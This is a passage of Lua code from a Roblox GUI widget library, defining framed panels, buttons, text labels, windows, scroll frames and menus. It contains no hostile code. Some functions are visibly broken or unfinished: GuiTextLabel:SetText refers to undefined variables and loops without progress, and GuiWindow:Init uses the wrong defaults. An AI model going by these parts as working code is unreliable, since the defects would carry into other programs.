  4209.                                 object.m_base_instance.BackgroundTransparency = transparency
  4210.                             else
  4211.                                 object.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
  4212.                                 object.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
  4213.                             end
  4214.                         end
  4215.                     end
  4216.                 else
  4217.                     if object.mouseOver then
  4218.                         object.mouseOver = false
  4219.                         object.MouseLeave:fire()
  4220.                         if object.autoButtonColor then
  4221.                             object.m_base_instance.BackgroundColor3 = object.color
  4222.                             object.m_base_instance.BackgroundTransparency = object.backgroundTransparency
  4223.                         end
  4224.                     end
  4225.                 end
  4226.             end
  4227.         end
  4228.     end
  4229. end
  4230. function GuiServiceClass:UpdateView()
  4231.     local billboardGui = self.billboardGui
  4232.     local guiFrame = self.m_base_instance
  4233.     local camera = self.camera
  4234.     local mouse = self.mouse
  4235.     local cameraCFrame = CFrame.new(camera.CoordinateFrame.p, camera.Focus.p) -- camera.CoordinateFrame
  4236.     local viewSizeX, viewSizeY = mouse.ViewSizeX, mouse.ViewSizeY
  4237.     local previousViewSize = self.viewSize
  4238.     if not previousViewSize or ((viewSizeX ~= 0 or viewSizeY ~= 0) and (viewSizeX ~= previousViewSize.X or viewSizeY ~= previousViewSize.Y)) then
  4239.         self.viewSize = {X = viewSizeX, Y = viewSizeY}
  4240.         local viewSizeUDim2 = UDim2.new(0, viewSizeX, 0, viewSizeY)
  4241.         billboardGui.Size = viewSizeUDim2
  4242.         guiFrame.Size = viewSizeUDim2
  4243.         -- FIXME:
  4244.         -- After the 15th of July 2014, there came an offset at the Y thingy out of nowhere so I accomodated for that.
  4245.         billboardGui.SizeOffset = Vector2.new(0.5 / viewSizeX, (0.5 + 10) / viewSizeY)
  4246.     end
  4247.     --billboardGui.SizeOffset = Vector2.new()
  4248.     billboardGui.StudsOffset = (cameraCFrame - cameraCFrame.p):inverse() * cameraCFrame.p - Vector3.new(0, 0, 1)
  4249. end
  4250. GuiService = GuiServiceClass:new {
  4251.     Camera = Camera,
  4252.     Mouse = Mouse
  4253. }
  4254. GuiFrame = setmetatable({}, GuiObject)
  4255. GuiFrame.__index = GuiFrame
  4256. GuiFrame.__default = {__index = {
  4257.     Active = false,
  4258.     BackgroundTransparency = 0.75,
  4259.     BorderSize = 4,
  4260.     BorderTransparency = 0.75,
  4261.     Color = AdvancedGUI.GUI_BASE_COLOR,
  4262.     Position = UDim2.new(0, 0, 0, 0),
  4263.     Size = UDim2.new(0, 52, 0, 52),
  4264.     Visible = true
  4265. }}
  4266. function GuiFrame:Destroy()
  4267.     GuiObject.Destroy(self)
  4268. end
  4269. function GuiFrame:GetContentInstance()
  4270.     return self.m_content_frame
  4271. end
  4272. function GuiFrame:Init(data)
  4273.     GuiObject.Init(self)
  4274.     setmetatable(data, GuiFrame.__default)
  4275.     local leftBorderFrameLeft = RBXInstance.new "Frame" {
  4276.         BackgroundColor3 = Color3.new(0, 0, 0),
  4277.         BorderSizePixel = 0,
  4278.         Size = UDim2.new(0, 1, 1, -1)
  4279.     }
  4280.     local leftBorderFrameCenter = RBXInstance.new "Frame" {
  4281.         BackgroundColor3 = Color3.new(1, 1, 1),
  4282.         BorderSizePixel = 0,
  4283.         Position = UDim2.new(0, 1, 0, 1)
  4284.     }
  4285.     local leftBorderFrameRight = RBXInstance.new "Frame" {
  4286.         BackgroundColor3 = Color3.new(0, 0, 0),
  4287.         BorderSizePixel = 0
  4288.     }
  4289.     local rightBorderFrameRight = RBXInstance.new "Frame" {
  4290.         BackgroundColor3 = Color3.new(0, 0, 0),
  4291.         BorderSizePixel = 0,
  4292.         Position = UDim2.new(1, -1, 0, 1),
  4293.         Size = UDim2.new(0, 1, 1, -1)
  4294.     }
  4295.     local rightBorderFrameCenter = RBXInstance.new "Frame" {
  4296.         BackgroundColor3 = Color3.new(1, 1, 1),
  4297.         BorderSizePixel = 0
  4298.     }
  4299.     local rightBorderFrameLeft = RBXInstance.new "Frame" {
  4300.         BackgroundColor3 = Color3.new(0, 0, 0),
  4301.         BorderSizePixel = 0
  4302.     }
  4303.     local bottomBorderFrameBottom = RBXInstance.new "Frame" {
  4304.         BackgroundColor3 = Color3.new(0, 0, 0),
  4305.         BorderSizePixel = 0,
  4306.         Position = UDim2.new(0, 0, 1, -1),
  4307.         Size = UDim2.new(1, -1, 0, 1)
  4308.     }
  4309.     local bottomBorderFrameCenter = RBXInstance.new "Frame" {
  4310.         BackgroundColor3 = Color3.new(1, 1, 1),
  4311.         BorderSizePixel = 0
  4312.     }
  4313.     local bottomBorderFrameTop = RBXInstance.new "Frame" {
  4314.         BackgroundColor3 = Color3.new(0, 0, 0),
  4315.         BorderSizePixel = 0
  4316.     }
  4317.     local topBorderFrameTop = RBXInstance.new "Frame" {
  4318.         BackgroundColor3 = Color3.new(0, 0, 0),
  4319.         BorderSizePixel = 0,
  4320.         Position = UDim2.new(0, 1, 0, 0),
  4321.         Size = UDim2.new(1, -1, 0, 1)
  4322.     }
  4323.     local topBorderFrameCenter = RBXInstance.new "Frame" {
  4324.         BackgroundColor3 = Color3.new(1, 1, 1),
  4325.         BorderSizePixel = 0
  4326.     }
  4327.     local topBorderFrameBottom = RBXInstance.new "Frame" {
  4328.         BackgroundColor3 = Color3.new(0, 0, 0),
  4329.         BorderSizePixel = 0
  4330.     }
  4331.     local border_frame = RBXInstance.new "Frame" {
  4332.         BackgroundTransparency = 1,
  4333.         Size = UDim2.new(1, 0, 1, 0),
  4334.         leftBorderFrameLeft,
  4335.         leftBorderFrameCenter,
  4336.         leftBorderFrameRight,
  4337.         rightBorderFrameLeft,
  4338.         rightBorderFrameCenter,
  4339.         rightBorderFrameRight,
  4340.         bottomBorderFrameBottom,
  4341.         bottomBorderFrameCenter,
  4342.         bottomBorderFrameTop,
  4343.         topBorderFrameBottom,
  4344.         topBorderFrameCenter,
  4345.         topBorderFrameTop
  4346.     }
  4347.     local contentFrame = RBXInstance.new "Frame" {
  4348.         BackgroundTransparency = 1,
  4349.         BorderSizePixel = 0,
  4350.         ClipsDescendants = true,
  4351.         Size = UDim2.new(1, 0, 1, 0)
  4352.     }
  4353.     local base_frame = RBXInstance.new "Frame" {
  4354.         BorderSizePixel = 0,
  4355.         border_frame,
  4356.         contentFrame
  4357.     }
  4358.     self.m_base_instance = base_frame
  4359.     self.m_content_frame = contentFrame
  4360.     self.m_border_frame = border_frame
  4361.     self.leftBorderFrameLeft = leftBorderFrameLeft
  4362.     self.leftBorderFrameCenter = leftBorderFrameCenter
  4363.     self.leftBorderFrameRight = leftBorderFrameRight
  4364.     self.rightBorderFrameLeft = rightBorderFrameLeft
  4365.     self.rightBorderFrameCenter = rightBorderFrameCenter
  4366.     self.rightBorderFrameRight = rightBorderFrameRight
  4367.     self.bottomBorderFrameBottom = bottomBorderFrameBottom
  4368.     self.bottomBorderFrameCenter = bottomBorderFrameCenter
  4369.     self.bottomBorderFrameTop = bottomBorderFrameTop
  4370.     self.topBorderFrameBottom = topBorderFrameBottom
  4371.     self.topBorderFrameCenter = topBorderFrameCenter
  4372.     self.topBorderFrameTop = topBorderFrameTop
  4373.     self:SetActive(data.Active)
  4374.     self:SetBackgroundTransparency(data.BackgroundTransparency)
  4375.     self:SetBorderSize(data.BorderSize)
  4376.     self:SetBorderTransparency(data.BorderTransparency)
  4377.     self:SetColor(data.Color)
  4378.     self:SetPosition(data.Position)
  4379.     self:SetSize(data.Size)
  4380.     self:SetVisible(data.Visible)
  4381.     self:SetParent(data.Parent)
  4382. end
  4383. function GuiFrame:IsA(className)
  4384.     return className == "GuiFrame" or GuiObject.IsA(self, className)
  4385. end
  4386. function GuiFrame:SetBorderSize(border_size)
  4387.     border_size = math.max(math.floor(border_size + 0.5), 0)
  4388.     if border_size ~= self.m_border_size then
  4389.         self.m_border_size = border_size
  4390.         local border_frame = self.m_border_frame
  4391.         local contentFrame = self.m_content_frame
  4392.         local leftBorderFrameCenter = self.leftBorderFrameCenter
  4393.         local leftBorderFrameRight = self.leftBorderFrameRight
  4394.         local rightBorderFrameCenter = self.rightBorderFrameCenter
  4395.         local rightBorderFrameLeft = self.rightBorderFrameLeft
  4396.         local bottomBorderFrameCenter = self.bottomBorderFrameCenter
  4397.         local bottomBorderFrameTop = self.bottomBorderFrameTop
  4398.         local topBorderFrameCenter = self.topBorderFrameCenter
  4399.         local topBorderFrameBottom = self.topBorderFrameBottom
  4400.         contentFrame.Position = UDim2.new(0, border_size, 0, border_size)
  4401.         contentFrame.Size = UDim2.new(1, -2 * border_size, 1, -2 * border_size)
  4402.         local inner_visible = border_size > 0
  4403.         if self.leftBorderFrameLeft.Visible ~= inner_visible then
  4404.             self.rightBorderFrameRight.Visible = inner_visible
  4405.             self.bottomBorderFrameBottom.Visible = inner_visible
  4406.             self.topBorderFrameTop.Visible = inner_visible
  4407.         end
  4408.         local outer_visible = border_size > 1
  4409.         if leftBorderFrameCenter.Visible ~= outer_visible then
  4410.             leftBorderFrameCenter.Visible = outer_visible
  4411.             leftBorderFrameRight.Visible = outer_visible
  4412.             rightBorderFrameCenter.Visible = outer_visible
  4413.             rightBorderFrameLeft.Visible = outer_visible
  4414.             bottomBorderFrameCenter.Visible = outer_visible
  4415.             bottomBorderFrameTop.Visible = outer_visible
  4416.             topBorderFrameCenter.Visible = outer_visible
  4417.             topBorderFrameBottom.Visible = outer_visible
  4418.         end
  4419.         if outer_visible then
  4420.             leftBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
  4421.             leftBorderFrameRight.Position = UDim2.new(0, border_size - 1, 0, border_size - 1)
  4422.             leftBorderFrameRight.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
  4423.             rightBorderFrameCenter.Position = UDim2.new(1, 1 - border_size, 0, border_size - 1)
  4424.             rightBorderFrameCenter.Size = UDim2.new(0, border_size - 2, 1, -border_size)
  4425.             rightBorderFrameLeft.Position = UDim2.new(1, -border_size, 0, border_size)
  4426.             rightBorderFrameLeft.Size = UDim2.new(0, 1, 1, 1 - 2 * border_size)
  4427.             bottomBorderFrameCenter.Position = UDim2.new(0, 1, 1, 1 - border_size)
  4428.             bottomBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
  4429.             bottomBorderFrameTop.Position = UDim2.new(0, border_size - 1, 1, -border_size)
  4430.             bottomBorderFrameTop.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
  4431.             topBorderFrameCenter.Position = UDim2.new(0, border_size - 1, 0, 1)
  4432.             topBorderFrameCenter.Size = UDim2.new(1, -border_size, 0, border_size - 2)
  4433.             topBorderFrameBottom.Position = UDim2.new(0, border_size, 0, border_size - 1)
  4434.             topBorderFrameBottom.Size = UDim2.new(1, 1 - 2 * border_size, 0, 1)
  4435.         end
  4436.     end
  4437. end
  4438. function GuiFrame:SetBorderTransparency(borderTransparency)
  4439.     self.borderTransparency = borderTransparency
  4440.     self.leftBorderFrameLeft.BackgroundTransparency = borderTransparency
  4441.     self.leftBorderFrameCenter.BackgroundTransparency = borderTransparency
  4442.     self.leftBorderFrameRight.BackgroundTransparency = borderTransparency
  4443.     self.rightBorderFrameLeft.BackgroundTransparency = borderTransparency
  4444.     self.rightBorderFrameCenter.BackgroundTransparency = borderTransparency
  4445.     self.rightBorderFrameRight.BackgroundTransparency = borderTransparency
  4446.     self.bottomBorderFrameBottom.BackgroundTransparency = borderTransparency
  4447.     self.bottomBorderFrameCenter.BackgroundTransparency = borderTransparency
  4448.     self.bottomBorderFrameTop.BackgroundTransparency = borderTransparency
  4449.     self.topBorderFrameBottom.BackgroundTransparency = borderTransparency
  4450.     self.topBorderFrameCenter.BackgroundTransparency = borderTransparency
  4451.     self.topBorderFrameTop.BackgroundTransparency = borderTransparency
  4452. end
  4453. GuiButton = setmetatable({}, GuiFrame)
  4454. GuiButton.__index = GuiButton
  4455. GuiButton.__default = {__index = {
  4456.     AutoButtonColor = true
  4457. }}
  4458. function GuiButton:Destroy()
  4459.     self.Activated:disconnect()
  4460.     GuiFrame.Destroy(self)
  4461. end
  4462. function GuiButton:Init(data)
  4463.     if data.Active == nil then
  4464.         data.Active = true
  4465.     end
  4466.     GuiFrame.Init(self, data)
  4467.     setmetatable(data, GuiButton.__default)
  4468.     self.Activated = RbxUtility.CreateSignal()
  4469.     self:SetAutoButtonColor(data.AutoButtonColor)
  4470. end
  4471. function GuiButton:IsA(className)
  4472.     return className == "GuiButton" or GuiFrame.IsA(self, className)
  4473. end
  4474. function GuiButton:SetAutoButtonColor(autoButtonColor)
  4475.     if autoButtonColor ~= self.autoButtonColor then
  4476.         self.autoButtonColor = autoButtonColor
  4477.         if autoButtonColor then
  4478.             if self.mouseOver then
  4479.                 local color = self.color
  4480.                 local transparency = self.backgroundTransparency
  4481.                 if self.mouseDown then
  4482.                     self.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
  4483.                     self.m_base_instance.BackgroundTransparency = transparency
  4484.                 else
  4485.                     self.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0), math.max(color.b - 0.3, 0))
  4486.                     self.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.5)
  4487.                 end
  4488.             end
  4489.         else
  4490.             self.m_base_instance.BackgroundColor3 = self.color
  4491.         end
  4492.     end
  4493. end
  4494. GuiTextLabel = setmetatable({}, GuiFrame)
  4495. GuiTextLabel.__index = GuiTextLabel
  4496. GuiTextLabel.__default = {__index = {
  4497.     Font = "ArialBold",
  4498.     FontSize = "Size12",
  4499.     Text = "",
  4500.     TextColor = Color3.new(1, 1, 1),
  4501.     TextStrokeColor = Color3.new(0, 0, 0),
  4502.     TextStrokeTransparency = 0.6,
  4503.     TextWrapped = true
  4504. }}
  4505. function GuiTextLabel:Destroy()
  4506.     GuiFrame.Destroy(self)
  4507. end
  4508. function GuiTextLabel:Init(data)
  4509.     GuiFrame.Init(self, data)
  4510.     setmetatable(data, GuiTextLabel.__default)
  4511.     local base_instance = self.m_base_instance
  4512.     local textLabel = RBXInstance.new "TextLabel" {
  4513.         BackgroundTransparency = 1,
  4514.         Font = data.Font,
  4515.         FontSize = data.FontSize,
  4516.         TextColor3 = data.TextColor3,
  4517.         TextStrokeColor3 = data.TextStrokeColor3,
  4518.         TextStrokeTransparency = data.TextStrokeTransparency,
  4519.         TextWrapped = data.TextWrapped
  4520.     }
  4521.     textLabel.Parent = self:GetContentInstance()
  4522.     self.textLabel = textLabel
  4523.     self:SetText(data.Text)
  4524. end
  4525. function GuiTextLabel:IsA(className)
  4526.     return className == "GuiTextLabel" or GuiFrame.IsA(self, className)
  4527. end
  4528. function GuiTextLabel:SetText(text)
  4529.     if text ~= self.text then
  4530.         self.text = text
  4531.         local text_index = 1
  4532.         local content_instance = self:GetContentInstance()
  4533.         local content_instance_size = content_instance.AbsoluteSize
  4534.         local frame = Instance.new("Frame")
  4535.         frame.BackgroundTransparency = 1
  4536.         local label = Instance.new("TextLabel")
  4537.         label.BackgroundTransparency = 1
  4538.         label.Font = font
  4539.         label.FontSize = fontSize
  4540.         label.Size = UDim2.new(0, content_instance_size.X, 0, 1000)
  4541.         label.Text = ""
  4542.         label.TextColor3 = textColor3
  4543.         label.TextTransparency = 1
  4544.         label.TextWrapped = true
  4545.         label.TextXAlignment = textXAlignment
  4546.         label.TextYAlignment = textYAlignment
  4547.         label.Parent = self.guiFrame
  4548.         local row_length = 0
  4549.         local step_size = 256
  4550.         for step = 1, 8 do
  4551.             step_size = 0.5 * step_size
  4552.             label.Text = string.sub(text, text_index, text_index + row_length - 1)
  4553.         end
  4554.     end
  4555. end
  4556. GuiImageButton = setmetatable({}, GuiButton)
  4557. GuiImageButton.__index = GuiImageButton
  4558. GuiImageButton.__default = {__index = {
  4559.     Image = ""
  4560. }}
  4561. function GuiImageButton:Destroy()
  4562.     GuiButton.Destroy(self)
  4563. end
  4564. function GuiImageButton:Init(data)
  4565.     GuiButton.Init(self, data)
  4566.     setmetatable(data, GuiImageButton.__default)
  4567.     local content_frame = self.m_content_frame
  4568.     local image_label = RBXInstance.new "ImageLabel" {
  4569.         BackgroundTransparency = 1,
  4570.         Size = UDim2.new(1, 0, 1, 0)
  4571.     }
  4572.     image_label.Parent = content_frame
  4573.     self.m_image_label = image_label
  4574.     self:SetImage(data.Image)
  4575. end
  4576. function GuiImageButton:IsA(className)
  4577.     return className == "GuiImageButton" or GuiButton.IsA(self, className)
  4578. end
  4579. function GuiImageButton:SetImage(image)
  4580.     if image ~= self.m_image then
  4581.         self.m_image = image
  4582.         self.m_image_label.Image = image
  4583.     end
  4584. end
  4585. GuiTextButton = setmetatable({}, GuiButton)
  4586. GuiTextButton.__index = GuiTextButton
  4587. GuiTextButton.__default = {__index = {
  4588.     Font = Enum.Font.ArialBold,
  4589.     FontSize = Enum.FontSize.Size11,
  4590.     Text = "Button",
  4591.     TextXAlignment = Enum.TextXAlignment.Center
  4592. }}
  4593. function GuiTextButton:Destroy()
  4594.     GuiButton.Destroy(self)
  4595. end
  4596. function GuiTextButton:GetTextBounds()
  4597.     return self.textLabel.TextBounds
  4598. end
  4599. function GuiTextButton:Init(data)
  4600.     GuiButton.Init(self, data)
  4601.     setmetatable(data, GuiTextButton.__default)
  4602.     local contentFrame = self.m_content_frame
  4603.     local mnemonicLabel = RBXInstance.new "TextLabel" {
  4604.         BackgroundTransparency = 1,
  4605.         Font = "ArialBold",
  4606.         FontSize = "Size36",
  4607.         Size = UDim2.new(1, 0, 0.7, 0),
  4608.         TextColor3 = Color3.new(1, 1, 1),
  4609.         TextStrokeColor3 = Color3.new(0, 0, 0),
  4610.         TextStrokeTransparency = 0.6,
  4611.         TextWrapped = true
  4612.     }
  4613.     local textLabel = RBXInstance.new "TextLabel" {
  4614.         BackgroundTransparency = 1,
  4615.         TextColor3 = Color3.new(1, 1, 1),
  4616.         TextStrokeColor3 = Color3.new(0, 0, 0),
  4617.         TextStrokeTransparency = 0.6,
  4618.         TextWrapped = true
  4619.     }
  4620.     mnemonicLabel.Parent = contentFrame
  4621.     textLabel.Parent = contentFrame
  4622.     self.mnemonicLabel = mnemonicLabel
  4623.     self.textLabel = textLabel
  4624.     self:SetFont(data.Font)
  4625.     self:SetFontSize(data.FontSize)
  4626.     self:SetMnemonic(data.Mnemonic, true)
  4627.     self:SetText(data.Text)
  4628.     self:SetTextXAlignment(data.TextXAlignment)
  4629. end
  4630. function GuiTextButton:IsA(className)
  4631.     return className == "GuiTextButton" or GuiButton.IsA(self, className)
  4632. end
  4633. function GuiTextButton:SetFont(font)
  4634.     if font ~= self.font then
  4635.         self.font = font
  4636.         self.textLabel.Font = font
  4637.     end
  4638. end
  4639. function GuiTextButton:SetFontSize(fontSize)
  4640.     if fontSize ~= self.fontSize then
  4641.         self.fontSize = fontSize
  4642.         self.textLabel.FontSize = fontSize
  4643.     end
  4644. end
  4645. function GuiTextButton:SetMnemonic(mnemonic, forceUpdate)
  4646.     if mnemonic ~= self.mnemonic or forceUpdate then
  4647.         if self.mnemonic then
  4648.             GuiService:SetMnemonic(self.mnemonic, nil)
  4649.         end
  4650.         if mnemonic then
  4651.             GuiService:SetMnemonic(mnemonic, self)
  4652.         end
  4653.         self.mnemonic = mnemonic
  4654.         local mnemonicLabel = self.mnemonicLabel
  4655.         local textLabel = self.textLabel
  4656.         if mnemonic then
  4657.             mnemonicLabel.Text = mnemonic
  4658.             textLabel.Size = UDim2.new(1, 0, 0.9, 0)
  4659.             textLabel.TextYAlignment = "Bottom"
  4660.         else
  4661.             mnemonicLabel.Text = ""
  4662.             textLabel.Size = UDim2.new(1, 0, 1, 0)
  4663.             textLabel.TextYAlignment = "Center"
  4664.         end
  4665.     end
  4666. end
  4667. function GuiTextButton:SetText(text)
  4668.     if text ~= self.text then
  4669.         self.text = text
  4670.         self.textLabel.Text = text
  4671.     end
  4672. end
  4673. function GuiTextButton:SetTextXAlignment(textXAlignment)
  4674.     if textXAlignment ~= self.textXAlignment then
  4675.         self.textXAlignment = textXAlignment
  4676.         self.textLabel.TextXAlignment = textXAlignment
  4677.     end
  4678. end
  4679. GuiWindow = setmetatable({}, GuiObject)
  4680. GuiWindow.__index = GuiWindow
  4681. GuiWindow.__default = {__index = {
  4682.     Active = true,
  4683.     BackgroundTransparency = 0.5,
  4684.     BorderSize = 4,
  4685.     BorderTransparency = 0.5,
  4686.     Position = UDim2.new(0, 0, 0, 0),
  4687.     Size = UDim2.new(0, 360, 0, 240),
  4688.     Title = "Window",
  4689.     TitleBarBackgroundTransparency = 0.5,
  4690.     TitleBarBorderTransparency = 1,
  4691.     Visible = true
  4692. }}
  4693. function GuiWindow:Init(data)
  4694.     GuiObject.Init(self)
  4695.     setmetatable(data, GuiFrame.__default)
  4696.     local title_bar = GuiTextLabel:new {
  4697.         BackgroundTransparency = data.TitleBarBackgroundTransparency,
  4698.         BorderTransparency = data.TitleBarBackgroundTransparency,
  4699.         Text = data.Title
  4700.     }
  4701.     local content_frame = GuiFrame:new {
  4702.         Active = data.Active,
  4703.         BackgroundTransparency = data.BackgroundTransparency,
  4704.         BorderSize = data.BorderSize,
  4705.         BorderTransparency = data.BorderTransparency
  4706.     }
  4707.     local base_frame = RBXInstance.new "Frame" {
  4708.         BackgroundTransparency = 1,
  4709.         BorderSizePixel = 0,
  4710.         Position = data.Position,
  4711.         Size = data.Size,
  4712.         Visible = data.Visible
  4713.     }
  4714.     self.m_base_frame = base_frame
  4715.     self.m_content_frame = content_frame
  4716.     self.m_title_bar = title_bar
  4717. end
  4718. function GuiWindow:IsA(className)
  4719.     return className == "GuiWindow" or GuiObject.IsA(self, className)
  4720. end
  4721. GuiScrollFrame = setmetatable({}, GuiFrame)
  4722. GuiScrollFrame.__index = GuiScrollFrame
  4723. GuiScrollFrame.__default = {__index = {
  4724.     ContentHeight = 0,
  4725.     ScrollBarColor = Color3.new(1, 1, 1)
  4726. }}
  4727. function GuiScrollFrame:Destroy()
  4728.     self.m_scroll_bar:Destroy()
  4729.     GuiFrame.Destroy(self)
  4730. end
  4731. function GuiScrollFrame:GetContentInstance()
  4732.     return self.m_scroll_frame or GuiFrame.GetContentInstance(self)
  4733. end
  4734. function GuiScrollFrame:Init(data)
  4735.     GuiFrame.Init(self, data)
  4736.     setmetatable(data, GuiScrollFrame.__default)
  4737.     local scroll_pane = RBXInstance.new "Frame" {
  4738.         BackgroundColor3 = Color3.new(1, 1, 1),
  4739.         BackgroundTransparency = 0.8,
  4740.         BorderSizePixel = 0,
  4741.         Position = UDim2.new(1, -20, 0, 0),
  4742.         Size = UDim2.new(0, 20, 1, 0),
  4743.         Parent = self.m_content_frame
  4744.     }
  4745.     local scroll_bar = GuiFrame:new {
  4746.         Active = true,
  4747.         BackgroundTransparency = 0.6,
  4748.         BorderTransparency = 0.6,
  4749.         Color = data.ScrollBarColor,
  4750.         Parent = self
  4751.     }
  4752.     local scroll_frame = RBXInstance.new "Frame" {
  4753.         BackgroundTransparency = 1,
  4754.         Parent = self.m_content_frame
  4755.     }
  4756.     self.m_scroll_bar = scroll_bar
  4757.     self.m_scroll_frame = scroll_frame
  4758.     self.m_scroll_pane = scroll_pane
  4759.     self.m_scroll_position = 0
  4760.     self.m_updating_content_height = false
  4761.     self:SetContentHeight(data.ContentHeight)
  4762.     self:UpdateScrollPosition()
  4763.     self.m_scroll_bar.DragBegin:connect(function()
  4764.         self.m_scroll_drag_total = Vector2.new()
  4765.         self.m_scroll_initial_position = self.m_scroll_position
  4766.     end)
  4767.     self.m_scroll_bar.DragMove:connect(function(offset)
  4768.         self.m_scroll_drag_total = self.m_scroll_drag_total + offset
  4769.         local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4770.         if absolute_height ~= 0 then
  4771.             local content_height = math.max(self.m_content_height, absolute_height)
  4772.             local scroll_space = 1 - absolute_height / content_height
  4773.             self:Scroll(self.m_scroll_initial_position + self.m_scroll_drag_total.Y * (content_height / absolute_height - 1) / scroll_space)
  4774.         end
  4775.     end)
  4776. end
  4777. function GuiScrollFrame:IsA(className)
  4778.     return className == "GuiScrollFrame" or GuiFrame.IsA(self, className)
  4779. end
  4780. function GuiScrollFrame:Scroll(position)
  4781.     position = math.min(math.max(position, 0), self.m_content_height - (self:GetAbsoluteSize().Y - 2 * self.m_border_size))
  4782.     if position ~= self.m_scroll_position then
  4783.         self.m_scroll_position = position
  4784.         self:UpdateScrollPosition()
  4785.     end
  4786. end
  4787. function GuiScrollFrame:SetContentHeight(height)
  4788.     if height ~= self.m_content_height then
  4789.         local prev_height = self.m_content_height
  4790.         self.m_content_height = height
  4791.         if not self.m_updating_content_height then
  4792.             self.m_updating_content_height = true
  4793.             coroutine.resume(coroutine.create(function()
  4794.                 local success, message = ypcall(self.SetContentHeightImpl1, self, prev_height)
  4795.                 if not success then
  4796.                     Logger.printf("Severe", "Error in GuiScrollFrame:SetContentHeight(%s): %s", Utility.ToString(height), message)
  4797.                 end
  4798.             end))
  4799.         end
  4800.     end
  4801. end
  4802. function GuiScrollFrame:SetContentHeightImpl1(prev_height)
  4803.     RunService.RenderStepped:wait()
  4804.     self.m_updating_content_height = false
  4805.     local height = self.m_content_height
  4806.     self.m_scroll_frame.Size = UDim2.new(1, -20, 0, height)
  4807.     if prev_height and prev_height ~= 0 then
  4808.         local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4809.         if self.m_scroll_position == prev_height - absolute_height then
  4810.             self.m_scroll_position = height - absolute_height
  4811.         else
  4812.             self.m_scroll_position = height * self.m_scroll_position / prev_height
  4813.         end
  4814.     end
  4815.     self:UpdateScrollPosition()
  4816. end
  4817. function GuiScrollFrame:UpdateScrollPosition()
  4818.     local absolute_height = self:GetAbsoluteSize().Y - 2 * self.m_border_size
  4819.     if absolute_height == 0 then
  4820.         absolute_height = self.m_content_height
  4821.     end
  4822.     local scroll_bar = self.m_scroll_bar
  4823.     local scroll_frame = self.m_scroll_frame
  4824.     local scroll_pane = self.m_scroll_pane
  4825.     local content_height = math.max(self.m_content_height, absolute_height)
  4826.     if absolute_height == content_height then
  4827.         scroll_frame.Position = UDim2.new(0, 0, 0, 0)
  4828.         scroll_frame.Size = UDim2.new(1, 0, 1, 0)
  4829.         scroll_bar:SetVisible(false)
  4830.         scroll_pane.Visible = false
  4831.     else
  4832.         local contentScale = content_height / absolute_height
  4833.         local scroll_space = 1 - absolute_height / content_height
  4834.         local scroll_position = self.m_scroll_position
  4835.         scroll_frame.Position = UDim2.new(0, 0, 0, -scroll_position)
  4836.         scroll_bar:SetPosition(UDim2.new(1, -20, scroll_position / (content_height - absolute_height) * scroll_space, 0))
  4837.         scroll_bar:SetSize(UDim2.new(0, 20, absolute_height / content_height, 0))
  4838.         scroll_bar:SetVisible(true)
  4839.         scroll_pane.Visible = true
  4840.     end
  4841. end
  4842. GuiMenu = setmetatable({}, GuiFrame)
  4843. GuiMenu.__index = GuiMenu
  4844. GuiMenu.__default = {__index = {
  4845.     VerticalSpacing = 18
  4846. }}
  4847. function GuiMenu:AddItem(text, onClick, options)
  4848.     local frameSize = self:GetSize()
  4849.     local frameHeight = frameSize.Y.Offset - self.m_border_size * 2
  4850.     local verticalSpacing = self.verticalSpacing
  4851.     local properties = {
  4852.         BackgroundTransparency = 0.75,
  4853.         BorderSize = 0,
  4854.         BorderTransparency = 1,
  4855.         Color = (#self.menuItems % 2 == 1) and Color3.new(0.25, 0.25, 0.25) or Color3.new(0, 0, 0),
  4856.         FontSize = Enum.FontSize.Size12,
  4857.         Position = UDim2.new(0, 0, 0, frameHeight),
  4858.         Size = UDim2.new(1, 0, 0, verticalSpacing),
  4859.         Text = text,
  4860.         Parent = self
  4861.     }
  4862.     if options then
  4863.         for key, value in pairs(options) do
  4864.             properties[key] = value
  4865.         end
  4866.     end
  4867.     local menuItem = GuiTextButton:new(properties)
  4868.     if onClick then
  4869.         menuItem.Activated:connect(function()
  4870.             if not onClick(text, self) then
  4871.                 self:Destroy()
  4872.             end
  4873.         end)
  4874.     end
  4875.     self.menuItems[#self.menuItems + 1] = menuItem
  4876.     self:SetSize(frameSize + UDim2.new(0, 0, 0, verticalSpacing))
  4877. end
  4878. function GuiMenu:ClearItems()
  4879.     local menuItems = self.menuItems
  4880.     for _, item in ipairs(menuItems) do
  4881.         menuItems[item] = nil
  4882.         item:Destroy()
  4883.     end
  4884.     local frameSize = self:GetSize()
  4885.     self:SetSize(frameSize + UDim2.new(0, 0, 0, self.m_border_size * 2 - frameSize.Y.Offset))
  4886. end
  4887. function GuiMenu:Destroy()
  4888.     self:ClearItems()
  4889.     GuiFrame.Destroy(self)
  4890. end
  4891. function GuiMenu:Init(data)
  4892.     GuiFrame.Init(self, data)
  4893.     setmetatable(data, GuiMenu.__default)
  4894.     self.menuItems = {}
  4895.     self.verticalSpacing = data.VerticalSpacing
  4896. end
  4897. function GuiMenu:IsA(className)
  4898.     return className == "GuiMenu" or GuiFrame.IsA(self, className)
  4899. end
  4900. GuiTextList = setmetatable({}, GuiScrollFrame)
  4901. GuiTextList.__index = GuiTextList
  4902. GuiTextList.__default = {__index = {
  4903. }}
  4904. function GuiTextList:AddItem(text, options)
  4905.     local properties = {
  4906.         BackgroundTransparency = 1,
  4907.         Font = "ArialBold",
  4908.         FontSize = "Size12",
  4909.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  4910.         Size = UDim2.new(1, -8, 0, 12),
  4911.         Text = tostring(text),
  4912.         TextColor3 = Color3.new(1, 1, 1),
  4913.         TextStrokeTransparency = 0.6,
  4914.         TextWrapped = true,
  4915.         TextXAlignment = "Left",
